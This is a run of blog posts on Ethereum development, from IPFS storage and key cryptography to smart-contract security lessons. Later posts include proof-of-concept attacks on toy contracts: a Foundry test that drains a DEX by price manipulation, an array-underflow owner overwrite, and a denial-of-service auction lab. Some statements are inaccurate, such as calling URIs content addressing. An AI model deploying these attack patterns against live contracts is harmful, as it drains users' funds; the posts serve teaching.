Inclusion Lists (EIP‑7547) will help fairness in transaction ordering, ideal for censor-resistant apps.
ERC‑165 remains vital for automatic interface compatibility, powering wallet and dApp integrations.
Revenue-sharing (EIP‑6969) introduces an open tipping model, potentially sustaining free-to-use contracts.

Why These Matter for Beginners

Understanding why these standards were invented helps future developers reason about protocol design and usability, not just code.
Seeing each EIP as a solution to a real problem—gas costs, censorship, interface detection, developer sustainability—makes you think like a protocol designer.
Analogies keep concepts memorable and relatable.

Standards aren’t just code—they shape how Ethereum grows. - Allan Robinson

Blockchain File Storage---What is IPFS and Types of web3 Storage

Mon, 14 Jul 2025 17:28:19 +0000

Decentralized File Storage

Decentralized file storage refers to systems that use distributed networks of computers (nodes) to store data securely and redundantly, rather than relying on centralized servers.
These systems use blockchain or peer-to-peer technologies to ensure data integrity, availability, and privacy.

Understand the difference between URL and URI

URL is nothing but a Location-Addressing. Traditional web uses location-based addressing, where content is accessed by its location on a server.
URI refers to Content-Addressing. Where, where content is accessed by a hash of its content. This ensures that as long as the content remains the same, its address does not change.

What is IPFS (Inter-Planetary file storage)??

IPFS is a decentralized P2P distributed file storing protocol.
Storing data on blockchain is way expensive. So, the company store their data on centralized server and cloud providers
In IPFS, files and other data are stored in a network of nodes.
When a file is added to IPFS, it is split into smaller blocks, coverted to hash using hash algorithm (SHA-256).
This hash is called as CID(Content Identifier)
Everytime re-uploading file a new CID is generated.
To retrieve data, a user requests it using the hash.
IPFS locates the nodes storing the corresponding blocks and downloads them.

Some more Popular Decentralized File Storage Platforms:

Filecoin
Arweave
Swarm
Bluzelle

All this above have there own pros and cons!!! To understand more you can visit there docs for more guidance

Types of Web3 Storage

On-chain storage :
- This refers to the practice of storing data directly on the blockchain, leveraging its inherent security features but at the cost of speed and expense.
off-chain decentralized storage :
- This involves storing data across a network of decentralized nodes or servers IPFS
Off-chain private storage solutions :
- This encompass traditional cloud-based and legacy data storage options designed for secure and controlled access.

On-chain file storage in full stack web3 applications

To integrate the on-chain file storage in an DApps, we can implement the Pinata/IPFS on-chain file storage.
To get started with file storage in DApps, checkout the below docs more insights:
https://docs.pinata.cloud/quickstart
https://docs.ipfs.tech/

If there are some corrections and more information!! Pls update us in comments.

Unlocking Ethereum: From Magic Money to Math-Powered Machines

Sat, 12 Jul 2025 19:49:54 +0000

"Not all computers live in your house. Some live everywhere." — Allan Robinson

Hey there, curious builder!

If you’ve been following along on this journey from Chapter 1 to Chapter 4 of the Ethereum Book, congratulations! You’ve taken your first real steps into understanding what makes Ethereum the beating heart of the Web3 revolution. But now, let’s tie it all together.

This article will serve as your grand recap. We’ll walk back through the major milestones you’ve hit — from installing MetaMask to unraveling the mathematical magic behind Ethereum addresses. But we’re going deeper this time, with clear explanations, descriptive breakdowns, and some jokes and analogies to make it fun.

Chapter 1: Ethereum — The Decentralized World Computer

Ethereum is not just a cryptocurrency.
It’s a decentralized world computer, where code is law and contracts live forever.

Imagine the internet, but with programmable money and no central administrator.
That’s Ethereum.

In this chapter, we:

Installed MetaMask, your Web3 portal.
Created a wallet (a safe for your digital coins).
Funded it using a testnet faucet.
Sent and received Ether — the fuel of Ethereum.

"Think of Ether as gas in a car. Ethereum is the engine. Smart contracts are the destination."

Ethereum allows anyone to deploy smart contracts — bits of code that live and operate independently on the blockchain. These contracts can't be tampered with once deployed. That’s a game-changer for trust, accountability, and decentralization.

Chapter 2: Wallets, Contracts, and the Machine Brain

Once your MetaMask wallet was ready, you discovered two types of accounts:

Externally Owned Accounts (EOAs):

Controlled by private keys.
Can initiate transactions.
These are your regular wallet accounts.

Contract Accounts:

Controlled by code, not keys.
Can hold Ether and respond to transactions.
Cannot initiate transactions but can react to them.

We even wrote our first smart contract: Faucet.sol.

It allowed:

Users to withdraw up to 0.1 ETH.
Anyone to send ETH to it.

You deployed it on a testnet using Remix IDE.

This was your first encounter with the Ethereum Virtual Machine (EVM) — the brain that runs all smart contracts in the Ethereum world. Think of it as a global computer made up of thousands of nodes all syncing together.

Chapter 3 & 4: Cryptography — Ethereum’s Security Backbone

Ethereum is secure by math, not by secrecy.

This is where things got spicy.
We talked cryptography — the silent engine that makes Ethereum work.

Cryptography doesn’t hide data, it proves truths.

We explored:

Public key cryptography (asymmetric cryptography).
Digital signatures.
Trapdoor functions.
Elliptic curve cryptography.

Private Keys:

A private key is just a really big random number.
It gives you control over your Ethereum wallet.
It must NEVER be shared. Sharing your private key = giving away your money.

"Your private key is your soul. Lose it, and your crypto reincarnates into someone else's wallet."

️ Public Keys:

Derived from the private key using elliptic curve multiplication.
Can be shared. They help the world recognize your account.
Used to verify digital signatures.

Ethereum Addresses:

Shortened versions of the public key (via hashing).
Every wallet has one (e.g., 0xabc123...).
Acts like a username for the blockchain.

Together, these elements enable secure, verifiable ownership of funds without any central authority.

The Discrete Logarithm Problem & Elliptic Curve Math

Ethereum uses a form of math called Elliptic Curve Cryptography (ECC) over a curve known as secp256k1.

Private Key k is a number.
Multiply it with a point G on the curve: k * G = K, the Public Key.
You can go from private to public, but NOT the reverse. Why?

Because that would involve solving the Discrete Logarithm Problem.

"It’s like trying to unblend a smoothie. Good luck getting that one blueberry back."

This one-way math gives us digital signatures and the ability to prove ownership without revealing secrets.

✨ The Magic of Digital Signatures

Every Ethereum transaction is a message signed with your private key.

The network can verify:
Who sent it (via public key).
That the message wasn’t altered (hash matching).

That it came from a valid source.

But it can do all this without knowing the private key itself. Pure cryptographic sorcery.

Why This All Matters

This system allows:

Peer-to-peer payments.
Smart contract execution.
Fully decentralized apps (dApps).
A global trustless economy.

All without:

Banks.
Passwords.
Centralized control.

You now understand how your Ethereum wallet works, how transactions are signed, and why no one can just "guess" your key.

And that, my friend, is the magic behind the Ethereum World Computer.

What’s Next?

You’ve just finished the foundation:

Ethereum basics
Wallets and contracts
Cryptography, private keys, and addresses

Up next? We dive deeper:

Solidity smart contracts
Gas optimization
Attacks & defenses

The move to Proof of Stake

So stay curious. Keep coding. And never share your private key.

See you on-chain.

Cryptography in Ethereum

Sat, 12 Jul 2025 19:49:26 +0000

Cryptography is one of the most important technologies behind Ethereum and other blockchains. Even though it sounds complicated, at its heart, it’s all about keeping things secure, proving ownership, and ensuring data can’t be faked or tampered with.

Let’s break down what cryptography means in the Ethereum world — in the simplest terms possible.

What Is Cryptography?

Cryptography comes from a Greek word meaning “secret writing”. It’s the study of how to secure information using math. But it’s not just about hiding things — it also helps:

Prove something is true without showing it (like proving you know a password without telling it).
Prove data is authentic (like checking a digital fingerprint).

Ethereum does not use encryption to hide messages — everything is open and visible so the network can agree on the correct state. But it does use cryptography to verify and secure who owns what.

Keys and Addresses

♂️ Accounts in Ethereum

There are two main types:

EOAs (Externally Owned Accounts) — controlled by private keys (what users use).
Smart Contracts — code-based accounts that live on Ethereum.

Every EOA has:

A private key — a secret number that proves control.
An Ethereum address — a public identity others can see.

Think of it like this:

Your address is your bank account number (public).
Your private key is your ATM PIN (secret).

You can’t get someone’s private key by looking at their address. But if you have the private key, you control the account and the funds in it.

️ Digital Signatures: Proving Ownership

Every transaction on Ethereum must be signed using the private key. This creates a digital signature, which proves:

The transaction is authentic.
It could only have come from the person who owns the private key.

This signature is then verified by others using your public key (or Ethereum address). The private key is never shared — it stays hidden.
So, when you send ETH:

You sign the transaction with your private key.
The network checks the signature against your address.
If it matches — the transaction is valid!

How Do Private and Public Keys Work?

Ethereum uses a form of cryptography called Public Key Cryptography, also known as Asymmetric Cryptography.

This system uses two keys:

A private key (kept secret).
A public key (shared openly).

The cool part is:

You can generate the public key from the private key.
But you can’t go backwards — it’s mathematically impossible to figure out the private key from the public key.

This one-way math is what makes Ethereum secure.

What Is a Private Key?

A private key is just a very large random number — but a very important one!

Example:

f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315

It controls your funds. If someone else gets it, they can steal your ETH. If you lose it, your ETH is gone forever — no password resets in crypto!

That’s why wallet apps and hardware wallets help store and protect private keys safely.

How Are Private Keys Generated?

Generating a private key means picking a truly random number between 1 and a huge number called 2^256. That’s a number with 77 digits — more than the number of atoms in the universe!

Wallets usually use:

Your mouse movements, or
Your keystrokes, or
Other random inputs to generate a secure number.

It’s important that the random number is not predictable, or someone might guess it. Ethereum wallets use strong built-in random number generators to do this safely.

What Is a Public Key?

A public key is generated from the private key using elliptic curve multiplication. This is a kind of special math done on a curve called secp256k1.

Let’s simplify:

You start with your private key (a number).
You multiply it with a special constant point (called G).
The result is your public key — two coordinates (x, y) on a curve.

Here’s the math (don’t worry if it looks scary):

Public Key = Private Key × Generator Point (G)

This is a one-way function — easy to do, impossible to reverse.

Ethereum Addresses

An Ethereum address is a shortened version of the public key. It's 40 characters long (20 bytes), usually written in hexadecimal.

Example:

0x742d35Cc6634C0532925a3b844Bc454e4438f44e

This is what you share to receive ETH or tokens. It’s like your bank account number, but public.

✍️ Digital Signatures in Detail

Let’s say Alice wants to send ETH:

She creates a transaction with details like amount, recipient, etc.
She uses her private key to sign the transaction.
The signature is sent with the transaction to the Ethereum network.
Anyone can verify the signature using Alice’s address.

This proves:

The transaction came from Alice.
The transaction wasn’t tampered with.
Alice authorized the action.

No passwords, no usernames, just math.

Is Ethereum Encrypted?

No. Ethereum is not encrypted. Everything — including:

Transactions,
Contract code,
Balances,
Messages,

...is visible to everyone. This is necessary for transparency and trust — it allows everyone to verify what’s happening.

In the future, Ethereum may use advanced cryptography like:

Zero-Knowledge Proofs – to prove something without showing it.
Homomorphic Encryption – to do computations on encrypted data.

But right now, Ethereum’s focus is on verification, not secrecy.

Keep Your Private Key Safe!

Never share it.
Never screenshot it.
Always back it up safely (use hardware wallets or seed phrases).
If you lose it, you lose access forever.

Final Thoughts

Cryptography might seem hard, but it powers everything in Ethereum — from accounts, to transactions, to smart contracts.

The most important things to remember:

Your private key = control over your ETH.
Your signature = proof that you own it.
Your address = your identity on Ethereum.

With public key cryptography and smart math, Ethereum allows you to be your own bank — secure, open, and unstoppable.

Ethereum Basics: From Wallets to Smart Contracts

Wed, 09 Jul 2025 13:50:42 +0000

Opening the Door: Wallets & Addresses

A wallet isn’t just where you “keep your crypto”—it’s your digital identity on Ethereum.

Public Address = like your email (where people send you ETH)
Private Key = your super-secret password to approve transactions

With great private keys comes great responsibility.

Keep your private key off screenshots, sticky notes, or the back of your hand. Seriously.

Sending ETH: How Transactions Work

Think of a transaction like mailing a check:

You write the address + amount
You sign it with your private key
You pay a gas fee (like postage)
Ethereum confirms and records it forever

Once it's in, it’s in. Ethereum doesn’t do “undo.”

Diving Into Smart Contracts

A smart contract is like a vending machine that runs on code:

You send ETH → The machine checks the rules → It delivers the snack (or doesn’t)

These contracts automate everything from NFTs to DeFi lending to on-chain games—no humans in between.

⚙️ The Tools You Need

Your Ethereum toolbox :

MetaMask – Your wallet and dApp gateway
Remix IDE – Try writing your first contract in the browser
Truffle / Hardhat – Full toolkits for bigger dApps

These help you write, test, and deploy Solidity code like a pro.

So You Met a Fox… and Accidentally Discovered the World Computer

At first, it looked like just another crypto wallet... until I realized I had downloaded a portal to a decentralized world computer.

♦ Ethereum Is More Than a Coin — It’s a World Computer

Ethereum runs on something called the Ethereum Virtual Machine (EVM) — a fancy way of saying:

Everyone runs the same code, and everyone agrees on the result.

Every Ethereum node is like a tiny brain in a big robot. Together, they make Ethereum a global, unstoppable, tamper-proof machine.

You’ve heard of the cloud? Ethereum is the thunderstorm. ⚡

EOAs vs. Contracts — Who Runs the Show?

You (and MetaMask) are using an Externally Owned Account (EOA):

Has a private key
Can send transactions
Can own and control smart contracts

But the smart contracts themselves? They’re contract accounts:

No private key
Can receive ETH
React only when triggered

You can think of EOAs as players and contracts as automated chessboards that move when touched.

Your First Contract: The Testnet Faucet

Let’s make it rain (test ETH)!

Here’s a super simple (but very insecure) smart contract:

function withdraw(uint amount) public {
  require(amount <= 0.1 ether);
  msg.sender.transfer(amount);
}

This lets anyone request up to 0.1 ether. It’s like asking a magical bank to give you some coins—if the rules allow.

Step-by-step:

Paste this into Remix IDE
Compile it with the Solidity compiler
Deploy it with MetaMask on the Ropsten testnet
Send some ETH to the contract
Call withdraw(100000000000000000) and voilà! ETH sent!

Congratulations—you just made money move with code.

What You Really Did

Created a wallet
Funded it with test ETH
Wrote a contract
Deployed it on the testnet
Interacted with Ethereum like a dev

Final Thoughts

You didn’t just install a wallet. You just shook hands with the future of the internet.

Ethereum lets you go beyond holding coins—it lets you build logic, automation, and applications around value itself.

Welcome to Web3. This is just the beginning.

Private variables are not really private on EVM

Tue, 08 Jul 2025 20:22:09 +0000

Private variables on EVM blockchains are not really private and hidden

Do you think storing important keys and data in private key's are safer on EVM chains. Definition say's all, EVM is an transparent chain
Attackers will always looks for deployed contract addresses of contracts that are vulnerable and contains funds
marking a variable as private only prevents other contracts from accessing it.
State variables marked as private and local variables are still publicly accessible

Simple contract scenario

The given contract stores password on-chain and it is marked as private variable

contract Vault {
        bool public locked;
@>  bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }
    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    } 
}

Above Contract stored password inside an private variable, thinking that it's safer and no one can access it!!!

Simple way to access private and public data of deployed contracts

With the help of contract addess and storage layout, attackers can easily read the data from private and public data stored on-chain

1. Through cast commands:

Dev's using foundry can use cast commands to access storage layout of any contract using below commands.

cast storage --rpc-url $SEPOLIA_RPC_URL --etherscan-api-key $ETHERSCAN_API_KEY CONTRACT_ADDRESS SLOT_NUMBER

This command can be used to easily read private variables stored on-chain

2. Through Etherscan:

Go to Etherscan and search for contract address
Copy and explore the TNX hash from internal transactions

Go for state and look for all storage value present!!!

Try this CTF to gain more understanding

https://ethernaut.openzeppelin.com/level/8

Real time case studies you want to look

https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell

So be aware of what you are storing on-chain and how you are enabling attackers to explore your contract and drains out all funds

What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???

Sat, 05 Jul 2025 20:38:10 +0000

Oracles: Simple Introduction

Oracles are external data providers that bring off-chain data to on-chain smart contracts!!!!
DeFi protocols with Liquidity Pools are considered as oracles -> Such as Uniswap, Sushiswap, etc.
DeFi protocols, who rely on the on-chain price of an asset in order to function uses oracles
any device that delivers the price of an asset (for example, ETH, USD, or BTC) to be considered an oracle.

Oracles and DeFi Protocols:

DeFi protocols need to liquidate a user’s loan Decisisons are made based on data provided by oracles
Chainlink price feeds, Tellor and Uniswap(TWAP) are some example of oracles
On-chain protocols with liquidity pools are considered as oracles
Protocols using liquidity pools as oracles are highly vulnerable to price oracle manipulation attacks

Price Oracle Manipulation Attacks

Price oracle manipulation attacks happen when an oracle’s price feed is artificially manipulated from an attacker
This manipulation can dramatically affect behavior within DeFi protocols that rely on that oracle for their internal logic.
These alterations can create arbitrage opportunities
Oracle manipulation attacks occur when we manipulate the information the oracle is sending to the blockchain, thereby impacting the action being executed on-chain to the benefit of the manipulator.

How does Price Oracle Manipulation Attacks Work?:

Most oracle price manipulation attacks occur through the use of Flash Loans
Attackers can exploit Flash Loans to alter the price of assets in automated market makers such as Uniswap,
changing the spot price ratio of a token before the lender smart contract has a chance to look up the token again.

Some important things to keep in mind:

type of oracle defi protocols using determines how likely they are vulnerable to price oracle manipulation attacks
Protocols using a liquidity pool as their oracle are essentially 99.9% likely to be exploited
Better oracles to be used:
Oracles like Chainlink, are harder to break!!!!
Uniswap's TWAP(time weighted average price) are less-accurate but more secure!!!

How to prevent Price Oracle Manipulation Attacks?

Choose the oracle carefully

Which data feeds are being aggregated by the oracle?
Is this data being fetched from centralized exchanges, decentralized ones, or both?
Which statistical method is being used to aggregate this data into a single output?
How does the oracle work out dispute mechanisms in case there’s discrepancies between the nodes?

Have backup systems:

Dual oracle system [Chainlink price feeds + Uniswap TWAP]

Use decentralized oracles over centralized ones:

Common examples of decentralized oracles are: Chainlink, API3, and Synthetix

Example contract and Attack work flow of Price Oracle Manipulation Attack

Simple contract that swaps tokens (tokenA and tokenB)
This contract uses getSwapPrice() to get the price of tokenA and tokenB
Dex contract stores all funds(tokenA and tokenB)

contract Dex is Ownable {
    /// @dev function swaps tokenA and tokenB
    /// @param amountIn amount of 'from' token to swap
    /// @param amountOut amount of 'to' token to swap
    function swap(address from, address to, uint256 amountIn) public {
        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
        require(IERC20(from).balanceOf(msg.sender) >= amountIn, "Not enough to swap");

        uint256 swapAmount = getSwapPrice(from, to, amountIn); // this get the amountOut price
        
        IERC20(from).transferFrom(msg.sender, address(this), amountIn); // transfer from user to contract
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount); // transfer from contract to user
    }

    /// @dev function returns the amountOut price for token
    /// @param amountOut amount of 'to' token to swap
    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }
}

Below test will try to swap tokens(tokenA and tokenB) alternatively using swap() function from Dex contract to manipulate the price and drain all funds from Dex contract!!!!
Target -> drain all tokenA from Dex contract

contract DexTest is Test{
    function setUp() public {
        /// @dev consider complete initial setup for Dex contract, tokenA, tokenB
        /// @dev contract -> 100 tokenA and 100 tokenB
        /// @dev attacker -> 10 tokenA and 10 tokenB
    }

    function test_CreatePriceManipulationAttack_usingDEX() public {
        // Initial state
        console.log("--- Initial State ---");
        console.log("DEX token1 balance:", token1.balanceOf(address(dex)));
        console.log("DEX token2 balance:", token2.balanceOf(address(dex)));
        console.log("User token1 balance:", token1.balanceOf(user));
        console.log("User token2 balance:", token2.balanceOf(user));

        vm.startPrank(user);
        
        // Round 1: Swap 10 token1 -> token2
        uint256 swapAmount1 = dex.getSwapPrice(address(token1), address(token2), 10);
        dex.swap(address(token1), address(token2), 10);
        
        // Round 2: Swap all token2 back -> token1
        uint256 userToken2Balance = token2.balanceOf(user);
        uint256 swapAmount2 = dex.getSwapPrice(address(token2), address(token1), userToken2Balance);
        dex.swap(address(token2), address(token1), userToken2Balance);
        
        
        // Continue the attack pattern until we can drain all token1
        uint256 round = 3;
        while (token1.balanceOf(address(dex)) > 0 && round <= 10) {
            
            if (round % 2 == 1) {
                // Odd rounds: token1 -> token2
                uint256 userToken1 = token1.balanceOf(user);
                if (userToken1 > 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token1), address(token2), userToken1);
                    
                    // Check if this would drain all token1
                    if (swapAmount >= token2.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token2
                        uint256 remainingToken2 = token2.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken2 * token1.balanceOf(address(dex))) / token2.balanceOf(address(dex));
                        dex.swap(address(token1), address(token2), exactAmount);
                    } else {
                        dex.swap(address(token1), address(token2), userToken1);
                    }
                }
            } else {
                // Even rounds: token2 -> token1
                uint256 userToken2 = token2.balanceOf(user);
                if (userToken2 > 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token2), address(token1), userToken2);
                    
                    // Check if this would drain all token1
                    if (swapAmount >= token1.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token1
                        uint256 remainingToken1 = token1.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken1 * token2.balanceOf(address(dex))) / token1.balanceOf(address(dex));
                        dex.swap(address(token2), address(token1), exactAmount);
                        break;
                    } else {
                        dex.swap(address(token2), address(token1), userToken2);
                    }
                }
            }
            round++;
        }
        
        vm.stopPrank();
        
        // Verify the attack was successful
        assertEq(token1.balanceOf(address(dex)), 0, "All token1 should be drained from DEX");
        assert(token1.balanceOf(user) > 10); // User should have more token1 than they started with
        }
    }

Standard Methods that leads to Price oracle manipulation attacks

Swap based Price Manipulation:

DeFi protocols that uses Uniswaps/DEX's as their oracles for price feeds
Attackers can alternatively swaps two tokens until they drain out large funds
Swap large ETH for Token → make Token look cheap and as price fluctuates again they swap tokens for ETH

Flashloan based Price Manipulation:

Flashloan ETH
Use flashloaned ETH to swap token → skew Uniswap price
Use manipulated price to drain lending/staking/vault
Repay flashloan, keep profit
Using flashloan to create Arbitrage opportunity

Manipulating Oracles (LP):

Some protocols use Uniswap LP as oracle
But LP price = tokenA / tokenB is easily skewed
If you can control LP state, you control the price
Attacker swaps to inflate or deflate this price, and the protocol believes it.

Tryout this CTF challenges for better understanding about the attack!!!

case studies

Advance EVM - Opcodes, low-level calls and instructions

Thu, 03 Jul 2025 14:13:21 +0000

EVM compatible, opcodes and calling

The EVM basically represents all the instructions a computer needs to be able to read.
Any language that can compile down to bytecode with these opcodes is considered EVM compatible'

Data in Transactions:
- When we send a transaction, it is compiled down to bytecode
- The EVM processes this data to determine which function to call and what inputs to provide.

Bytecode:
- When a contract is deployed, it is compiled into bytecode understood by the EVM.
- This bytecode represents exactly the low level instructions to make our contract happen.
- This bytecode consist of opcodes

Opcodes:
- Each opcode is a 2-character hexadecimal, represents some special instruction
- This opcode reader is sometimes abstractly called the EVM

Encoding Data:
- Now, ABI encoding will convert data into bytes
- Ex: abi.encodePacked() || abi.encode()

Decoding data:
- Decoding is the process of taking the raw bytes and reconstructing the original data
- Ex: abi.decode()

call

 - How we call functions to change the state variable of the blockchain
 ```js
 function stateChange(address _address) public {
     s_state[_address] = 12;
 }
 ```

staticcall

- This is how (at a low level) we do our "view" or "pure" function calls  
 ```js
 function getState() public view returns(uint256){
     return s_state;
 }
 ```

Send TNX that call functions with just data field populated (EVM Signature Selector)

In order to call a function using only the data field of call, we need to encode:
1. function name
2. parameters we want to add

Now each contract assigns each function a function ID/Method ID:
1. Function selector is the first 4 bytes of the function signature
2. Function signature a string that defines the function name &
```
parameters
**Ex :  transfer(address,uint256)**
```

Lets assume, we need to call transfer(address,uint256) function but by filling the data field!!!

getFunctionSelector:

- By this method we will get function selector of the calling function.

function getSelector() public pure returns (bytes4 selector) {
    selector = bytes4(keccak256(bytes("transfer(address,uint256)")));
}

call Transfer Function with selector:

Will use abi.encodeWithSelector(bytes4 selector, args1, args2)

// Here, using EVM cheatcodes we can directly call the transfer() function using data-field

function callTransferData(address _address, uint256 _amount) public returns (bytes4 ,bool) {
    (bool success, bytes memory data) = address(this).call(
        abi.encodeWithSelector(getSelector(), _address,_amount)
    );
    return (bytes4(data), success);
}

call Transfer Function with signature:

Will use abi.encodeWithSignature(string functSignature, args1, args2)

// Here, we will not use function selector. Rather, we will use function signature to call our transfer() function by populating data field.

function callTransferDataSig(address _address, uint256 _amount) public returns (bytes4 ,bool) {
    (bool success, bytes memory data) = address(this).call(
        abi.encodeWithSignature("transfer(address,uint256)", _address,_amount)
    );
    return (bytes4(data), success);
}

Note: If there is anything wrong or if you want to share more concepts or if have any doubts. Pls comment below!!!

Introduction to solidity smart contracts storage layout -- What are risks in manipulating storage???

Mon, 30 Jun 2025 21:26:35 +0000

Storage layout and array overflow/underflow risks!!!!

Solidity stores data in Each slot = 32 bytes (256 bits)
Each storage slot is numbered: slot 0, slot 1, slot 2 and so on.

Solidity tries to pack variables into these slots efficiently, but the actual layout depends on data type and declaration order.

Storage Layout Breakdown

Consider a simple contract with various variable and it's storage layout

contract StorageExample {
    bool public flag;                    // 1 byte
    uint256 public number;        // 32 bytes
    string public message;        // dynamic
    bytes32[] public data;        // dynamic array
}

bool public flag

bool = 1 byte
Stored in slot 0 (remaining 31 bytes unused)
Solidity will check if next type can be packed in slot 0. If not new slot 1 will be allocated and fitted

uint256 public number

uint256 = 32 bytes (can't be fit in slot 0)
Stored in slot 1 (entire slot used)

string public message

string is a dynamic type. (entire slot 2 used)
Solidity stores only a pointer/reference (not the data) in the slot.
The actual string content is stored at keccak256(2)

"hello" → 5 bytes
Stored at hash(slot 2) = location A, value: "hello"

bytes32[] public data

entire slot 3 used (data.length)
bytes32[] is a dynamic array
slot stores only The length of the array

// bytes32[] stored at slot 3
start of array -> uint256(keccak256(abi.encode(3)));

// Length in slot 3: 2
If data = [0x1, 0x2];

hash(slot 3) + 0 = 0x...A → 0x1
hash(slot 3) + 1 = 0x...B → 0x2

Possible risks or attacks due to storage layout manipulation

// We will underflow the array
contract WeirdStorage {
    address public owner;           // slot 0
    bytes32[] public data;         // slot 1 -> stores (data.length)

    function setData(uint256 index, bytes32 value) public {
        data[index] = value;
    }
}
// keccak256(1) + i = data[i];

This is how attackers can corrupt unrelated storage — like overwriting a bool variable or even an owner address stored in early slots.

data.pop() -> data.length == 2^256-1
find index that maps to slot 0 (where owner stored)

keccak256(1) + index = 0
index = -keccak256(1) mod 2^256
index = 2^256 - keccak256(1)

vulnerable.popData(); // underflow

// attacker address, cast to bytes32
bytes32 attackerAddress = bytes32(uint256(uint160(attacker)));

// overwrite slot 0 (owner) to attacker address
vulnerable.setData(index, attackerAddress);

Mitigation:

Use Solidity ≥ 0.8.0
Avoid exposing public write access to dynamic arrays
Never allow .pop() or manual index writes from untrusted users
Use SafeMath or OpenZeppelin's defensive wrappers for older versions

Case Studies

https://medium.com/@weka/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079

Blockchain Devops

Sun, 29 Jun 2025 10:44:05 +0000

Blockchain Devops

Blockchain DevOps involves the application of DevOps principles and practices in the blockchain ecosystem. It focuses on streamlining the development, deployment, testing, and operation of blockchain-based applications or networks.

Tip : The following example is completely for learning and sharing coding experiences purpose

How we can implement the devops principle in our Blockchain project?

We will see a simple example of how we can implement Devops in our blockchain project.

Note: We are using Foundry as our development framework. We are not going to discuss the main coding part. We will just go through the installation and requirement part!!!!

Now, we will try to get the most recent deployment from a given environment in foundry. This way, we can do scripting off previous deployments in solidity.
Download the following library and repo in your project:

  forge install foundry-rs/forge-std@v1.8.2 --no-commit
  forge install Cyfrin/foundry-devops --no-commit

Update your foundry.toml to have read permissions on the broadcast folder.

fs_permissions = [
    { access = "read", path = "./broadcast" },
    { access = "read", path = "./reports" },
]

Import the package, and call :

import {DevOpsTools} from "lib/foundry-devops/src/DevOpsTools.sol";
import {MyContract} from "my-contract/MyContract.sol";
.
. rest of your code
.
function interactWithPreviouslyDeployedContracts() public {
    address contractAddress = DevOpsTools.get_most_recent_deployment("MyContract", block.chainid);
    MyContract myContract = MyContract(contractAddress);
    myContract.doSomething();
}

By, following the above steps in our foudry code, we can get the most recent deployed contract code

For, L2 and rollups blockchain network you can prefer the given repo

Executing Denial of Service on smart contracts

Sat, 24 May 2025 04:24:29 +0000

️ Deny users from accessing a smart contract

A Denial of Service (DOS) attack is a type of attack that is designed to disable, shut down, or disrupt a network, website, or service. Essentially it means that the attacker somehow can prevent regular users from accessing the network, website, or service therefore denying them service. This is a very common attack which we all know about in web2 as well but today we will try to imitate a Denial of Service attack on a smart contract

Overview

There will be two smart contracts - Good.sol and Attack.sol. Good.sol will be used to run a sample auction where it will have a function in which the current user can become the current winner of the auction by sending Good.sol higher amount of ETH than was sent by the previous winner. After the winner is replaced, the old winner is sent back the money which he initially sent to the contract.

Attack.sol will attack in such a manner that after becoming the current winner of the auction, it will not allow anyone else to replace it even if the address trying to win is willing to put in more ETH. Thus Attack.sol will bring Good.sol under a DOS attack because after it becomes the winner, it will deny the ability for any other address to becomes the winner.

⚒️ Build

Setting up Foundry

To start the project, open up your terminal and create a new project directory.

mkdir denial-of-service

Let's start by setting up Hardhat inside the denial-of-service directory.

cd denial-of-service
forge init .

Write the Smart Contracts

Let's create the auction contract, named Good.sol, with the following code.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}

This is a pretty basic contract which stores the address of the last highest bidder, and the value that they bid. Anyone can call setCurrentAuctionPrice and send more ETH than currentAuctionPrice, which will first attempt to send the last bidder their ETH back, and then set the transaction caller as the new highest bidder with their ETH value.

Now, create a contract named Attack.sol within the contracts directory and write the following lines of code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}

This contract has a function called attack(), that just calls setCurrentAuctionPrice on the Good contract. Note, however, this contract does not have a fallback() function where it can receive ETH. More on this later.

Writing the Test

Let's create an attack that will cause the Good contract to become unusable. Create a new file under test folder named Attack.t.sol and add the following lines of code to it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {Attack} from "../src/Attack.sol";
import {Good} from "../src/Good.sol";
import {console} from "forge-std/console.sol";

contract AttackTester is Test {
    //declare a variable for holding instances of our contracts
    Good public goodContract;
    Attack public attackContract;

    function setUp() public {
        // Deploy the Good Contract using a dummy account
        vm.prank(vm.addr(420));
        goodContract = new Good();


        //Deploy the Attack Contract
        attackContract = new Attack(address(goodContract));

    }

    function test_attack() public {

        // Get two addresses using their private keys
        address address1= vm.addr(1);
        address address2= vm.addr(2);

        //add funds to the addresses
        deal(address1, 100 ether);
        deal(address2, 100 ether);


        //Initially let address1 become the current winner of the auction
        //impersonate address1 for sending a transaction to the Good Contract
        vm.prank(address1);
        goodContract.setCurrentAuctionPrice{value: 1 ether}();

        
        
        // Start the attack and make Attack.sol the current winner of the auction
        attackContract.attack{value: 3 ether}();

        // Now let's try making address2 the current winner of the auction
        vm.prank(address2);
        goodContract.setCurrentAuctionPrice{value: 4 ether}();



        // Balance of the Game Contract should be equal 0
        assertEq(goodContract.currentWinner(), address(attackContract));
    }
}

